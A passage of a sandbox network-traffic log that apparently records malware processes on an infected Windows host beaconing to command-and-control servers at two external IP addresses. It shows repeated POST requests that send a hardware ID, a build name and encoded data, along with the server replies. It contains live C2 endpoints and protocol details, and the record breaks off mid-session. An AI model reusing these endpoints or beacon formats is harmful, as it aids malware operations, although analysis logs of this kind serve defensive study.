4	192.168.2.5	49722	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:26.526110888 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Jun 28, 2024 13:36:27.216711998 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49723	85.28.47.4	80	7376	C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:26.746532917 CEST	411	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKK Host: 85.28.47.4 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 39 30 41 34 31 41 32 35 43 44 33 39 33 35 34 33 30 31 34 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"C190A41A25CD3935430149------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"default------HCAEHJJKFCAAFHJKFBKK--
Jun 28, 2024 13:36:27.356220007 CEST	211	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:36:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49724	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:27.343318939 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:28.030973911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:28.042701960 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:28.270032883 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:28.600255013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49725	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:28.713615894 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:29.592684984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:29.593427896 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:29.818588018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49726	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:29.932163000 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:30.618885040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:30.619616032 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:30.839169979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49727	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:30.952945948 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:31.617651939 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:31.618484974 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:31.828908920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49728	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:31.949637890 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:32.637686968 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:32.638382912 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:32.855712891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49729	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:32.963613987 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:33.640149117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:33.640794992 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:33.851919889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49730	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:33.963686943 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:34.655205011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:34.655982018 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:34.871501923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49731	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:35.396168947 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:36.106043100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:36.106794119 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:36.331557989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49732	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:36.447875023 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:37.124552965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:37.125324965 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:37.339376926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49733	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:37.447659969 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:38.123570919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:38.124269962 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:38.636662006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 28, 2024 13:36:38.638731956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49734	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:38.744889021 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:39.412806988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:39.413733006 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 